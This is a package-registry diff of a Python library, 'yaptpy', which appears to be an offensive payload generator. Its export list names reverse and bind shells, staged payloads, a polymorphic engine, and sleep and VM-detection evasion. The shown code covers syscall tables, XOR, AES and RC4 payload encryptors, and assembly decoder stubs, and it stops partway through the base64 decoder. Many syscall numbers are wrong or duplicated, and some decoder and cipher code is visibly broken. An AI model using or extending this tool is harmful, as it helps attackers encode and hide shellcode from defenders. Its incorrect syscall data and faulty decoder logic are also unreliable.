yaptpy 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- yaptpy/__init__.py +2356 -0
- yaptpy/__main__.py +9 -0
- yaptpy/py.typed +0 -0
- yaptpy-0.1.0.dist-info/METADATA +318 -0
- yaptpy-0.1.0.dist-info/RECORD +8 -0
- yaptpy-0.1.0.dist-info/WHEEL +4 -0
- yaptpy-0.1.0.dist-info/entry_points.txt +2 -0
- yaptpy-0.1.0.dist-info/licenses/LICENSE +21 -0
yaptpy/__init__.py
ADDED
|
@@ -0,0 +1,2356 @@
|
|
|
1
|
+
__version__ = "0.1.0"
|
|
2
|
+
|
|
3
|
+
__all__ = [
|
|
4
|
+
"generate_payload",
|
|
5
|
+
"xor_encrypt",
|
|
6
|
+
"rolling_xor_encrypt",
|
|
7
|
+
"rle_encode",
|
|
8
|
+
"lz77_encode",
|
|
9
|
+
"lz77_decode",
|
|
10
|
+
"lz77_decoder_stub",
|
|
11
|
+
"base64_encode",
|
|
12
|
+
"base32_encode",
|
|
13
|
+
"aes_encrypt",
|
|
14
|
+
"rc4_encrypt",
|
|
15
|
+
"generate_polymorphic_junk",
|
|
16
|
+
"remove_comments_from_assembly",
|
|
17
|
+
"rle_decoder_stub",
|
|
18
|
+
"rolling_xor_decoder_stub",
|
|
19
|
+
"base64_decoder_stub",
|
|
20
|
+
"base32_decoder_stub",
|
|
21
|
+
"aes_decoder_stub",
|
|
22
|
+
"rc4_cipher",
|
|
23
|
+
"egg_hunter",
|
|
24
|
+
"generate_sleep_evasion",
|
|
25
|
+
"generate_vm_detection",
|
|
26
|
+
"generate_parent_check",
|
|
27
|
+
"api_hash",
|
|
28
|
+
"generate_bind_shell",
|
|
29
|
+
"generate_ipv6_reverse_shell",
|
|
30
|
+
"generate_dns_resolve",
|
|
31
|
+
"substitute_instructions",
|
|
32
|
+
"transposed_code",
|
|
33
|
+
"call_preceded_obfuscation",
|
|
34
|
+
"syscall_splitting",
|
|
35
|
+
"generate_staged_payload",
|
|
36
|
+
"enhanced_polymorphic_engine",
|
|
37
|
+
"generate_arm64_payload",
|
|
38
|
+
"generate_arm64_bind_shell",
|
|
39
|
+
"generate_arm64_reverse_shell",
|
|
40
|
+
"main",
|
|
41
|
+
]
|
|
42
|
+
|
|
43
|
+
import argparse
|
|
44
|
+
import base64
|
|
45
|
+
import hashlib
|
|
46
|
+
import os
|
|
47
|
+
import random
|
|
48
|
+
import socket
|
|
49
|
+
import struct
|
|
50
|
+
import sys
|
|
51
|
+
|
|
52
|
+
from pwn import asm, context
|
|
53
|
+
|
|
54
|
+
ARCHITECTURES = ["amd64", "arm64"]
|
|
55
|
+
|
|
56
|
+
context.log_level = "error"
|
|
57
|
+
context.arch = "amd64"
|
|
58
|
+
|
|
59
|
+
RED = "\033[91m"
|
|
60
|
+
GREEN = "\033[92m"
|
|
61
|
+
YELLOW = "\033[93m"
|
|
62
|
+
BLUE = "\033[94m"
|
|
63
|
+
MAGENTA = "\033[95m"
|
|
64
|
+
CYAN = "\033[96m"
|
|
65
|
+
RESET = "\033[0m"
|
|
66
|
+
|
|
67
|
+
BASE32_CHARS = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
|
|
68
|
+
|
|
69
|
+
SYScalls = {
|
|
70
|
+
"exit": 60,
|
|
71
|
+
"read": 0,
|
|
72
|
+
"write": 1,
|
|
73
|
+
"open": 2,
|
|
74
|
+
"close": 3,
|
|
75
|
+
"stat": 4,
|
|
76
|
+
"fstat": 5,
|
|
77
|
+
"lstat": 6,
|
|
78
|
+
"poll": 7,
|
|
79
|
+
"lseek": 8,
|
|
80
|
+
"mmap": 9,
|
|
81
|
+
"mprotect": 10,
|
|
82
|
+
"munmap": 11,
|
|
83
|
+
"brk": 12,
|
|
84
|
+
"rt_sigaction": 13,
|
|
85
|
+
"rt_sigprocmask": 14,
|
|
86
|
+
"rt_sigreturn": 15,
|
|
87
|
+
"ioctl": 16,
|
|
88
|
+
"pread64": 17,
|
|
89
|
+
"pwrite64": 18,
|
|
90
|
+
"readv": 19,
|
|
91
|
+
"writev": 20,
|
|
92
|
+
"access": 21,
|
|
93
|
+
"pipe": 22,
|
|
94
|
+
"select": 23,
|
|
95
|
+
"sched_yield": 24,
|
|
96
|
+
"mremap": 25,
|
|
97
|
+
"msync": 26,
|
|
98
|
+
"mincore": 27,
|
|
99
|
+
"madvise": 28,
|
|
100
|
+
"shmget": 29,
|
|
101
|
+
"shmat": 30,
|
|
102
|
+
"shmctl": 31,
|
|
103
|
+
"dup": 32,
|
|
104
|
+
"dup2": 33,
|
|
105
|
+
"pause": 34,
|
|
106
|
+
"nanosleep": 35,
|
|
107
|
+
"getitimer": 36,
|
|
108
|
+
"alarm": 37,
|
|
109
|
+
"setitimer": 38,
|
|
110
|
+
"getpid": 39,
|
|
111
|
+
"sendfile": 40,
|
|
112
|
+
"socket": 41,
|
|
113
|
+
"connect": 42,
|
|
114
|
+
"accept": 43,
|
|
115
|
+
"sendto": 44,
|
|
116
|
+
"recvfrom": 45,
|
|
117
|
+
"sendmsg": 46,
|
|
118
|
+
"recvmsg": 47,
|
|
119
|
+
"shutdown": 48,
|
|
120
|
+
"bind": 49,
|
|
121
|
+
"listen": 50,
|
|
122
|
+
"getsockname": 51,
|
|
123
|
+
"getpeername": 52,
|
|
124
|
+
"socketpair": 53,
|
|
125
|
+
"setsockopt": 54,
|
|
126
|
+
"getsockopt": 55,
|
|
127
|
+
"clone": 56,
|
|
128
|
+
"fork": 57,
|
|
129
|
+
"vfork": 58,
|
|
130
|
+
"execve": 59,
|
|
131
|
+
"exit_group": 60,
|
|
132
|
+
"kill": 62,
|
|
133
|
+
"uname": 63,
|
|
134
|
+
"semget": 64,
|
|
135
|
+
"semop": 65,
|
|
136
|
+
"semctl": 66,
|
|
137
|
+
"shmdt": 67,
|
|
138
|
+
"msgget": 68,
|
|
139
|
+
"msgsnd": 69,
|
|
140
|
+
"msgrcv": 70,
|
|
141
|
+
"msgctl": 71,
|
|
142
|
+
"fcntl": 72,
|
|
143
|
+
"flock": 73,
|
|
144
|
+
"fsync": 74,
|
|
145
|
+
"fdatasync": 75,
|
|
146
|
+
"truncate": 76,
|
|
147
|
+
"ftruncate": 77,
|
|
148
|
+
"getdents": 78,
|
|
149
|
+
"getcwd": 79,
|
|
150
|
+
"chdir": 80,
|
|
151
|
+
"fchdir": 81,
|
|
152
|
+
"rename": 82,
|
|
153
|
+
"mkdir": 83,
|
|
154
|
+
"rmdir": 84,
|
|
155
|
+
"creat": 85,
|
|
156
|
+
"link": 86,
|
|
157
|
+
"unlink": 87,
|
|
158
|
+
"symlink": 88,
|
|
159
|
+
"readlink": 89,
|
|
160
|
+
"chmod": 90,
|
|
161
|
+
"fchmod": 91,
|
|
162
|
+
"chown": 92,
|
|
163
|
+
"fchown": 93,
|
|
164
|
+
"lchown": 94,
|
|
165
|
+
"umask": 95,
|
|
166
|
+
"gettimeofday": 96,
|
|
167
|
+
"getrlimit": 97,
|
|
168
|
+
"getrusage": 98,
|
|
169
|
+
"sysinfo": 99,
|
|
170
|
+
"times": 100,
|
|
171
|
+
"ptrace": 101,
|
|
172
|
+
"getuid": 102,
|
|
173
|
+
"syslog": 103,
|
|
174
|
+
"getgid": 104,
|
|
175
|
+
"setuid": 105,
|
|
176
|
+
"setgid": 106,
|
|
177
|
+
"geteuid": 107,
|
|
178
|
+
"getegid": 108,
|
|
179
|
+
"setpgid": 109,
|
|
180
|
+
"getppid": 110,
|
|
181
|
+
"getpgrp": 111,
|
|
182
|
+
"setsid": 112,
|
|
183
|
+
"setreuid": 113,
|
|
184
|
+
"setregid": 114,
|
|
185
|
+
"getgroups": 115,
|
|
186
|
+
"setgroups": 116,
|
|
187
|
+
"setresuid": 117,
|
|
188
|
+
"getresuid": 118,
|
|
189
|
+
"setresgid": 119,
|
|
190
|
+
"getresgid": 120,
|
|
191
|
+
"getpgid": 121,
|
|
192
|
+
"setfsuid": 122,
|
|
193
|
+
"setfsgid": 123,
|
|
194
|
+
"getsid": 124,
|
|
195
|
+
"capget": 125,
|
|
196
|
+
"capset": 126,
|
|
197
|
+
"rt_sigpending": 127,
|
|
198
|
+
"rt_sigtimedwait": 128,
|
|
199
|
+
"rt_sigqueueinfo": 129,
|
|
200
|
+
"rt_sigsuspend": 130,
|
|
201
|
+
"sigaltstack": 131,
|
|
202
|
+
"utime": 132,
|
|
203
|
+
"mknod": 133,
|
|
204
|
+
"uselib": 134,
|
|
205
|
+
"personality": 135,
|
|
206
|
+
"ustat": 136,
|
|
207
|
+
"statfs": 137,
|
|
208
|
+
"fstatfs": 138,
|
|
209
|
+
"sysfs": 139,
|
|
210
|
+
"getpriority": 140,
|
|
211
|
+
"setpriority": 141,
|
|
212
|
+
"sched_setparam": 142,
|
|
213
|
+
"sched_getparam": 143,
|
|
214
|
+
"sched_setscheduler": 144,
|
|
215
|
+
"sched_getscheduler": 145,
|
|
216
|
+
"sched_get_priority_max": 146,
|
|
217
|
+
"sched_get_priority_min": 147,
|
|
218
|
+
"sched_rr_get_interval": 148,
|
|
219
|
+
"mlock": 149,
|
|
220
|
+
"munlock": 150,
|
|
221
|
+
"mlockall": 151,
|
|
222
|
+
"munlockall": 152,
|
|
223
|
+
"vhangup": 153,
|
|
224
|
+
"modify_ldt": 154,
|
|
225
|
+
"pivot_root": 155,
|
|
226
|
+
"prctl": 156,
|
|
227
|
+
"arch_prctl": 157,
|
|
228
|
+
"adjtimex": 158,
|
|
229
|
+
"setrlimit": 160,
|
|
230
|
+
"chroot": 161,
|
|
231
|
+
"sync": 162,
|
|
232
|
+
"acct": 163,
|
|
233
|
+
"settimeofday": 164,
|
|
234
|
+
"mount": 165,
|
|
235
|
+
"umount2": 166,
|
|
236
|
+
"swapon": 167,
|
|
237
|
+
"swapoff": 168,
|
|
238
|
+
"reboot": 169,
|
|
239
|
+
"sethostname": 170,
|
|
240
|
+
"setdomainname": 171,
|
|
241
|
+
"iopl": 172,
|
|
242
|
+
"ioperm": 173,
|
|
243
|
+
"init_module": 175,
|
|
244
|
+
"delete_module": 176,
|
|
245
|
+
"quotactl": 179,
|
|
246
|
+
"gettid": 186,
|
|
247
|
+
"readahead": 187,
|
|
248
|
+
"setxattr": 188,
|
|
249
|
+
"lsetxattr": 189,
|
|
250
|
+
"fsetxattr": 190,
|
|
251
|
+
"getxattr": 191,
|
|
252
|
+
"lgetxattr": 192,
|
|
253
|
+
"fgetxattr": 193,
|
|
254
|
+
"listxattr": 194,
|
|
255
|
+
"llistxattr": 195,
|
|
256
|
+
"flistxattr": 196,
|
|
257
|
+
"removexattr": 197,
|
|
258
|
+
"lremovexattr": 198,
|
|
259
|
+
"fremovexattr": 199,
|
|
260
|
+
"tkill": 200,
|
|
261
|
+
"time": 201,
|
|
262
|
+
"futex": 202,
|
|
263
|
+
"sched_setaffinity": 203,
|
|
264
|
+
"sched_getaffinity": 204,
|
|
265
|
+
"io_setup": 207,
|
|
266
|
+
"io_destroy": 208,
|
|
267
|
+
"io_getevents": 209,
|
|
268
|
+
"io_submit": 210,
|
|
269
|
+
"io_cancel": 211,
|
|
270
|
+
"lookup_dcookie": 212,
|
|
271
|
+
"epoll_create": 213,
|
|
272
|
+
"remap_file_pages": 216,
|
|
273
|
+
"set_tid_address": 218,
|
|
274
|
+
"timer_create": 219,
|
|
275
|
+
"timer_settime": 220,
|
|
276
|
+
"timer_gettime": 221,
|
|
277
|
+
"timer_getoverrun": 222,
|
|
278
|
+
"timer_delete": 223,
|
|
279
|
+
"clock_settime": 224,
|
|
280
|
+
"clock_gettime": 227,
|
|
281
|
+
"clock_getres": 228,
|
|
282
|
+
"clock_nanosleep": 229,
|
|
283
|
+
"exit_group2": 231,
|
|
284
|
+
"epoll_wait": 232,
|
|
285
|
+
"epoll_ctl": 233,
|
|
286
|
+
"tgkill": 234,
|
|
287
|
+
"utimes": 235,
|
|
288
|
+
"mbind": 237,
|
|
289
|
+
"set_mempolicy": 238,
|
|
290
|
+
"get_mempolicy": 239,
|
|
291
|
+
"mq_open": 240,
|
|
292
|
+
"mq_unlink": 241,
|
|
293
|
+
"mq_timedsend": 242,
|
|
294
|
+
"mq_timedreceive": 243,
|
|
295
|
+
"mq_notify": 244,
|
|
296
|
+
"mq_getsetattr": 245,
|
|
297
|
+
"kexec_load": 246,
|
|
298
|
+
"waitid": 247,
|
|
299
|
+
"add_key": 248,
|
|
300
|
+
"request_key": 249,
|
|
301
|
+
"keyctl": 250,
|
|
302
|
+
"ioprio_set": 251,
|
|
303
|
+
"ioprio_get": 252,
|
|
304
|
+
"inotify_init": 253,
|
|
305
|
+
"inotify_add_watch": 254,
|
|
306
|
+
"inotify_rm_watch": 255,
|
|
307
|
+
"migrate_pages": 256,
|
|
308
|
+
"openat": 257,
|
|
309
|
+
"mkdirat": 258,
|
|
310
|
+
"mknodat": 259,
|
|
311
|
+
"fchownat": 260,
|
|
312
|
+
"futimesat": 261,
|
|
313
|
+
"newfstatat": 262,
|
|
314
|
+
"unlinkat": 263,
|
|
315
|
+
"renameat": 264,
|
|
316
|
+
"linkat": 265,
|
|
317
|
+
"symlinkat": 266,
|
|
318
|
+
"readlinkat": 267,
|
|
319
|
+
"fchdir_at": 267,
|
|
320
|
+
"faccessat": 268,
|
|
321
|
+
"fchmodat": 269,
|
|
322
|
+
"fprocmask": 270,
|
|
323
|
+
"pipe2": 293,
|
|
324
|
+
"dup3": 294,
|
|
325
|
+
"epoll_create1": 291,
|
|
326
|
+
"eventfd2": 290,
|
|
327
|
+
"inotify_init1": 294,
|
|
328
|
+
"membarrier": 324,
|
|
329
|
+
"copy_file_range": 326,
|
|
330
|
+
"getrandom": 318,
|
|
331
|
+
"execveat": 322,
|
|
332
|
+
"pkey_mprotect": 330,
|
|
333
|
+
"pkey_alloc": 331,
|
|
334
|
+
"pkey_free": 332,
|
|
335
|
+
}
|
|
336
|
+
|
|
337
|
+
ARM64_SYSCALLS = {
|
|
338
|
+
"exit": 93,
|
|
339
|
+
"fork": 220,
|
|
340
|
+
"read": 63,
|
|
341
|
+
"write": 64,
|
|
342
|
+
"open": 56,
|
|
343
|
+
"close": 57,
|
|
344
|
+
"stat": 80,
|
|
345
|
+
"lstat": 79,
|
|
346
|
+
"fstat": 80,
|
|
347
|
+
"pipe": 59,
|
|
348
|
+
"select": 62,
|
|
349
|
+
"mmap": 222,
|
|
350
|
+
"mprotect": 226,
|
|
351
|
+
"munmap": 215,
|
|
352
|
+
"brk": 214,
|
|
353
|
+
"socket": 198,
|
|
354
|
+
"connect": 203,
|
|
355
|
+
"accept": 202,
|
|
356
|
+
"sendto": 206,
|
|
357
|
+
"recvfrom": 207,
|
|
358
|
+
"sendmsg": 211,
|
|
359
|
+
"recvmsg": 212,
|
|
360
|
+
"shutdown": 210,
|
|
361
|
+
"bind": 200,
|
|
362
|
+
"listen": 201,
|
|
363
|
+
"getsockname": 204,
|
|
364
|
+
"getpeername": 205,
|
|
365
|
+
"socketpair": 199,
|
|
366
|
+
"setsockopt": 208,
|
|
367
|
+
"getsockopt": 209,
|
|
368
|
+
"clone": 220,
|
|
369
|
+
"vfork": 221,
|
|
370
|
+
"execve": 221,
|
|
371
|
+
"exit_group": 94,
|
|
372
|
+
"kill": 129,
|
|
373
|
+
"uname": 160,
|
|
374
|
+
"semget": 64,
|
|
375
|
+
"semop": 65,
|
|
376
|
+
"semctl": 66,
|
|
377
|
+
"shmdt": 67,
|
|
378
|
+
"msgget": 65,
|
|
379
|
+
"msgsnd": 66,
|
|
380
|
+
"msgrcv": 67,
|
|
381
|
+
"msgctl": 68,
|
|
382
|
+
"fcntl": 25,
|
|
383
|
+
"flock": 32,
|
|
384
|
+
"fsync": 83,
|
|
385
|
+
"fdatasync": 84,
|
|
386
|
+
"truncate": 76,
|
|
387
|
+
"ftruncate": 77,
|
|
388
|
+
"getdents": 61,
|
|
389
|
+
"getcwd": 17,
|
|
390
|
+
"chdir": 48,
|
|
391
|
+
"fchdir": 50,
|
|
392
|
+
"rename": 82,
|
|
393
|
+
"mkdir": 83,
|
|
394
|
+
"rmdir": 84,
|
|
395
|
+
"creat": 55,
|
|
396
|
+
"link": 85,
|
|
397
|
+
"unlink": 87,
|
|
398
|
+
"symlink": 88,
|
|
399
|
+
"readlink": 78,
|
|
400
|
+
"chmod": 90,
|
|
401
|
+
"fchmod": 91,
|
|
402
|
+
"chown": 92,
|
|
403
|
+
"fchown": 93,
|
|
404
|
+
"lchown": 94,
|
|
405
|
+
"umask": 95,
|
|
406
|
+
"gettimeofday": 169,
|
|
407
|
+
"getrlimit": 163,
|
|
408
|
+
"getrusage": 165,
|
|
409
|
+
"sysinfo": 179,
|
|
410
|
+
"times": 153,
|
|
411
|
+
"ptrace": 117,
|
|
412
|
+
"getuid": 174,
|
|
413
|
+
"syslog": 103,
|
|
414
|
+
"getgid": 176,
|
|
415
|
+
"setuid": 146,
|
|
416
|
+
"setgid": 144,
|
|
417
|
+
"geteuid": 175,
|
|
418
|
+
"getegid": 177,
|
|
419
|
+
"setpgid": 154,
|
|
420
|
+
"getppid": 110,
|
|
421
|
+
"getpgrp": 150,
|
|
422
|
+
"setsid": 157,
|
|
423
|
+
"setreuid": 149,
|
|
424
|
+
"setregid": 143,
|
|
425
|
+
"getgroups": 158,
|
|
426
|
+
"setgroups": 159,
|
|
427
|
+
"setresuid": 147,
|
|
428
|
+
"getresuid": 148,
|
|
429
|
+
"setresgid": 145,
|
|
430
|
+
"getresgid": 145,
|
|
431
|
+
"getpgid": 151,
|
|
432
|
+
"setfsuid": 152,
|
|
433
|
+
"setfsgid": 153,
|
|
434
|
+
"getsid": 156,
|
|
435
|
+
"capget": 125,
|
|
436
|
+
"capset": 126,
|
|
437
|
+
"rt_sigpending": 127,
|
|
438
|
+
"rt_sigtimedwait": 128,
|
|
439
|
+
"rt_sigqueueinfo": 129,
|
|
440
|
+
"rt_sigsuspend": 133,
|
|
441
|
+
"sigaltstack": 132,
|
|
442
|
+
"utime": 160,
|
|
443
|
+
"mknod": 33,
|
|
444
|
+
"uselib": 86,
|
|
445
|
+
"personality": 92,
|
|
446
|
+
"ustat": 62,
|
|
447
|
+
"statfs": 99,
|
|
448
|
+
"fstatfs": 100,
|
|
449
|
+
"sysfs": 101,
|
|
450
|
+
"getpriority": 141,
|
|
451
|
+
"setpriority": 140,
|
|
452
|
+
"sched_setparam": 142,
|
|
453
|
+
"sched_getparam": 143,
|
|
454
|
+
"sched_setscheduler": 144,
|
|
455
|
+
"sched_getscheduler": 145,
|
|
456
|
+
"sched_get_priority_max": 146,
|
|
457
|
+
"sched_get_priority_min": 147,
|
|
458
|
+
"sched_rr_get_interval": 148,
|
|
459
|
+
"mlock": 228,
|
|
460
|
+
"munlock": 229,
|
|
461
|
+
"mlockall": 230,
|
|
462
|
+
"munlockall": 231,
|
|
463
|
+
"vhangup": 58,
|
|
464
|
+
"modify_ldt": 157,
|
|
465
|
+
"pivot_root": 155,
|
|
466
|
+
"prctl": 167,
|
|
467
|
+
"arch_prctl": 165,
|
|
468
|
+
"adjtimex": 171,
|
|
469
|
+
"setrlimit": 160,
|
|
470
|
+
"chroot": 161,
|
|
471
|
+
"sync": 162,
|
|
472
|
+
"acct": 163,
|
|
473
|
+
"settimeofday": 164,
|
|
474
|
+
"mount": 165,
|
|
475
|
+
"umount2": 166,
|
|
476
|
+
"swapon": 167,
|
|
477
|
+
"swapoff": 168,
|
|
478
|
+
"reboot": 169,
|
|
479
|
+
"sethostname": 170,
|
|
480
|
+
"setdomainname": 171,
|
|
481
|
+
"iopl": 172,
|
|
482
|
+
"init_module": 105,
|
|
483
|
+
"delete_module": 106,
|
|
484
|
+
"quotactl": 179,
|
|
485
|
+
"gettid": 186,
|
|
486
|
+
"readahead": 187,
|
|
487
|
+
"setxattr": 5,
|
|
488
|
+
"lsetxattr": 6,
|
|
489
|
+
"fsetxattr": 7,
|
|
490
|
+
"getxattr": 8,
|
|
491
|
+
"lgetxattr": 9,
|
|
492
|
+
"fgetxattr": 10,
|
|
493
|
+
"listxattr": 11,
|
|
494
|
+
"llistxattr": 12,
|
|
495
|
+
"flistxattr": 13,
|
|
496
|
+
"removexattr": 14,
|
|
497
|
+
"lremovexattr": 15,
|
|
498
|
+
"fremovexattr": 16,
|
|
499
|
+
"tkill": 200,
|
|
500
|
+
"time": 201,
|
|
501
|
+
"futex": 98,
|
|
502
|
+
"sched_setaffinity": 122,
|
|
503
|
+
"sched_getaffinity": 123,
|
|
504
|
+
"io_setup": 0,
|
|
505
|
+
"io_destroy": 1,
|
|
506
|
+
"io_getevents": 5,
|
|
507
|
+
"io_submit": 2,
|
|
508
|
+
"io_cancel": 3,
|
|
509
|
+
"lookup_dcookie": 18,
|
|
510
|
+
"epoll_create": 18,
|
|
511
|
+
"remap_file_pages": 26,
|
|
512
|
+
"set_tid_address": 96,
|
|
513
|
+
"timer_create": 107,
|
|
514
|
+
"timer_settime": 108,
|
|
515
|
+
"timer_gettime": 109,
|
|
516
|
+
"timer_getoverrun": 110,
|
|
517
|
+
"timer_delete": 111,
|
|
518
|
+
"clock_settime": 112,
|
|
519
|
+
"clock_gettime": 113,
|
|
520
|
+
"clock_getres": 114,
|
|
521
|
+
"clock_nanosleep": 115,
|
|
522
|
+
"epoll_wait": 17,
|
|
523
|
+
"epoll_ctl": 21,
|
|
524
|
+
"tgkill": 131,
|
|
525
|
+
"utimes": 235,
|
|
526
|
+
"mbind": 237,
|
|
527
|
+
"set_mempolicy": 238,
|
|
528
|
+
"get_mempolicy": 239,
|
|
529
|
+
"mq_open": 240,
|
|
530
|
+
"mq_unlink": 241,
|
|
531
|
+
"mq_timedsend": 242,
|
|
532
|
+
"mq_timedreceive": 243,
|
|
533
|
+
"mq_notify": 244,
|
|
534
|
+
"mq_getsetattr": 245,
|
|
535
|
+
"kexec_load": 246,
|
|
536
|
+
"waitid": 247,
|
|
537
|
+
"add_key": 248,
|
|
538
|
+
"request_key": 249,
|
|
539
|
+
"keyctl": 250,
|
|
540
|
+
"ioprio_set": 30,
|
|
541
|
+
"ioprio_get": 31,
|
|
542
|
+
"inotify_init": 28,
|
|
543
|
+
"inotify_add_watch": 27,
|
|
544
|
+
"inotify_rm_watch": 29,
|
|
545
|
+
"migrate_pages": 40,
|
|
546
|
+
"openat": 56,
|
|
547
|
+
"mkdirat": 58,
|
|
548
|
+
"mknodat": 59,
|
|
549
|
+
"fchownat": 60,
|
|
550
|
+
"futimesat": 61,
|
|
551
|
+
"newfstatat": 79,
|
|
552
|
+
"unlinkat": 87,
|
|
553
|
+
"renameat": 88,
|
|
554
|
+
"linkat": 89,
|
|
555
|
+
"symlinkat": 90,
|
|
556
|
+
"readlinkat": 78,
|
|
557
|
+
"fchmodat": 91,
|
|
558
|
+
"faccessat": 48,
|
|
559
|
+
"pipe2": 59,
|
|
560
|
+
"dup3": 24,
|
|
561
|
+
"epoll_create1": 20,
|
|
562
|
+
"eventfd2": 19,
|
|
563
|
+
"inotify_init1": 28,
|
|
564
|
+
"membarrier": 239,
|
|
565
|
+
"copy_file_range": 285,
|
|
566
|
+
"getrandom": 278,
|
|
567
|
+
"execveat": 322,
|
|
568
|
+
"pkey_mprotect": 329,
|
|
569
|
+
"pkey_alloc": 330,
|
|
570
|
+
"pkey_free": 331,
|
|
571
|
+
}
|
|
572
|
+
|
|
573
|
+
|
|
574
|
+
def remove_comments_from_assembly(assembly_code: str) -> str:
|
|
575
|
+
lines = assembly_code.splitlines()
|
|
576
|
+
cleaned_lines = []
|
|
577
|
+
for line in lines:
|
|
578
|
+
line = line.strip()
|
|
579
|
+
if not line:
|
|
580
|
+
continue
|
|
581
|
+
comment_index = line.find("#")
|
|
582
|
+
if comment_index != -1:
|
|
583
|
+
cleaned_line = line[:comment_index].strip()
|
|
584
|
+
if cleaned_line:
|
|
585
|
+
cleaned_lines.append(cleaned_line)
|
|
586
|
+
else:
|
|
587
|
+
cleaned_lines.append(line)
|
|
588
|
+
return "\n".join(cleaned_lines)
|
|
589
|
+
|
|
590
|
+
|
|
591
|
+
def myasm(expr: str) -> bytes:
|
|
592
|
+
return asm(remove_comments_from_assembly(expr)) # type: ignore[no-any-return]
|
|
593
|
+
|
|
594
|
+
|
|
595
|
+
def xor_encrypt(data: bytes, key: int) -> bytes:
|
|
596
|
+
if not (0 <= key <= 255):
|
|
597
|
+
raise ValueError("XOR key must be a byte value (0-255).")
|
|
598
|
+
return bytes([b ^ key for b in data])
|
|
599
|
+
|
|
600
|
+
|
|
601
|
+
def rolling_xor_encrypt(data: bytes, key: int) -> bytes:
|
|
602
|
+
if not (0 <= key <= 255):
|
|
603
|
+
raise ValueError("Rolling XOR key must be a byte value (0-255).")
|
|
604
|
+
result = bytearray()
|
|
605
|
+
current_key = key
|
|
606
|
+
for b in data:
|
|
607
|
+
encrypted_byte = b ^ current_key
|
|
608
|
+
result.append(encrypted_byte)
|
|
609
|
+
current_key = (current_key + 1) % 256
|
|
610
|
+
return bytes(result)
|
|
611
|
+
|
|
612
|
+
|
|
613
|
+
def base64_encode(data: bytes) -> bytes:
|
|
614
|
+
return base64.b64encode(data)
|
|
615
|
+
|
|
616
|
+
|
|
617
|
+
def base32_encode(data: bytes) -> bytes:
|
|
618
|
+
return base64.b32encode(data)
|
|
619
|
+
|
|
620
|
+
|
|
621
|
+
def aes_encrypt(data: bytes, key: bytes) -> bytes:
|
|
622
|
+
from cryptography.hazmat.backends import default_backend
|
|
623
|
+
from cryptography.hazmat.primitives import padding as pad
|
|
624
|
+
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
|
625
|
+
|
|
626
|
+
if len(key) not in (16, 24, 32):
|
|
627
|
+
raise ValueError("AES key must be 16, 24, or 32 bytes.")
|
|
628
|
+
|
|
629
|
+
padder = pad.PKCS7(128).padder()
|
|
630
|
+
padded_data = padder.update(data) + padder.finalize()
|
|
631
|
+
|
|
632
|
+
iv = os.urandom(16)
|
|
633
|
+
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
|
|
634
|
+
encryptor = cipher.encryptor()
|
|
635
|
+
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
|
|
636
|
+
|
|
637
|
+
return iv + ciphertext
|
|
638
|
+
|
|
639
|
+
|
|
640
|
+
def rc4_encrypt(data: bytes, key: bytes) -> bytes:
|
|
641
|
+
s_box = list(range(256))
|
|
642
|
+
j = 0
|
|
643
|
+
for i in range(256):
|
|
644
|
+
j = (j + s_box[i] + key[i % len(key)]) % 256
|
|
645
|
+
s_box[i], s_box[j] = s_box[j], s_box[i]
|
|
646
|
+
|
|
647
|
+
result = bytearray()
|
|
648
|
+
i = j = 0
|
|
649
|
+
for byte in data:
|
|
650
|
+
i = (i + 1) % 256
|
|
651
|
+
j = (j + s_box[i]) % 256
|
|
652
|
+
s_box[i], s_box[j] = s_box[j], s_box[i]
|
|
653
|
+
k = s_box[(s_box[i] + s_box[j]) % 256]
|
|
654
|
+
result.append(byte ^ k)
|
|
655
|
+
|
|
656
|
+
return bytes(result)
|
|
657
|
+
|
|
658
|
+
|
|
659
|
+
def rc4_cipher(key: bytes) -> tuple[bytes, bytes]:
|
|
660
|
+
encrypted = rc4_encrypt(b"", key)
|
|
661
|
+
return encrypted, encrypted
|
|
662
|
+
|
|
663
|
+
|
|
664
|
+
def rolling_xor_decoder_stub(original_size: int, start_key: int) -> bytes:
|
|
665
|
+
decoder_asm = f"""
|
|
666
|
+
mov rdi, rsp
|
|
667
|
+
add rdi, 32
|
|
668
|
+
mov rsi, rdi
|
|
669
|
+
mov al, {start_key}
|
|
670
|
+
|
|
671
|
+
decode_rolling_xor:
|
|
672
|
+
lodsb
|
|
673
|
+
xor al, [rsi-1]
|
|
674
|
+
stosb
|
|
675
|
+
inc al
|
|
676
|
+
cmp al, 0
|
|
677
|
+
jne skip_wrap
|
|
678
|
+
mov al, 0
|
|
679
|
+
skip_wrap:
|
|
680
|
+
mov rax, rsp
|
|
681
|
+
add rax, {32 + original_size}
|
|
682
|
+
cmp rdi, rax
|
|
683
|
+
jl decode_rolling_xor
|
|
684
|
+
|
|
685
|
+
mov rax, rsp
|
|
686
|
+
add rax, 32
|
|
687
|
+
jmp rax
|
|
688
|
+
"""
|
|
689
|
+
try:
|
|
690
|
+
decoder_bytes = myasm(decoder_asm)
|
|
691
|
+
while len(decoder_bytes) < 32:
|
|
692
|
+
decoder_bytes += b"\x90"
|
|
693
|
+
return decoder_bytes
|
|
694
|
+
except Exception as e:
|
|
695
|
+
print(
|
|
696
|
+
f"{RED}[-] Error assembling rolling XOR decoder stub: {e}{RESET}",
|
|
697
|
+
file=sys.stderr,
|
|
698
|
+
)
|
|
699
|
+
raise
|
|
700
|
+
|
|
701
|
+
|
|
702
|
+
def base64_decoder_stub() -> bytes:
|
|
703
|
+
decoder_asm = """
|
|
704
|
+
push rbx
|
|
705
|
+
mov rbx, rsi
|
|
706
|
+
call decode_base64
|
|
707
|
+
pop rbx
|
|
708
|
+
jmp rax
|
|
709
|
+
|
|
710
|
+
decode_base64:
|
|
711
|
+
mov rdi, rsi
|
|
712
|
+
call get_base64_table
|
|
713
|
+
mov rdx, rax
|
|
714
|
+
xor rax, rax
|
|
715
|
+
xor rcx, rcx
|
|
716
|
+
b64_loop:
|
|
717
|
+
cmp byte ptr [rbx], 0
|
|
718
|
+
je b64_done
|
|
719
|
+
movzx rsi, byte ptr [rbx]
|
|
720
|
+
mov al, byte ptr [rdx + rsi]
|
|
721
|
+
shl rcx, 6
|
|
722
|
+
or rcx, rax
|
|
723
|
+
inc rbx
|
|
724
|
+
cmp rcx, 0xFFFF
|
|
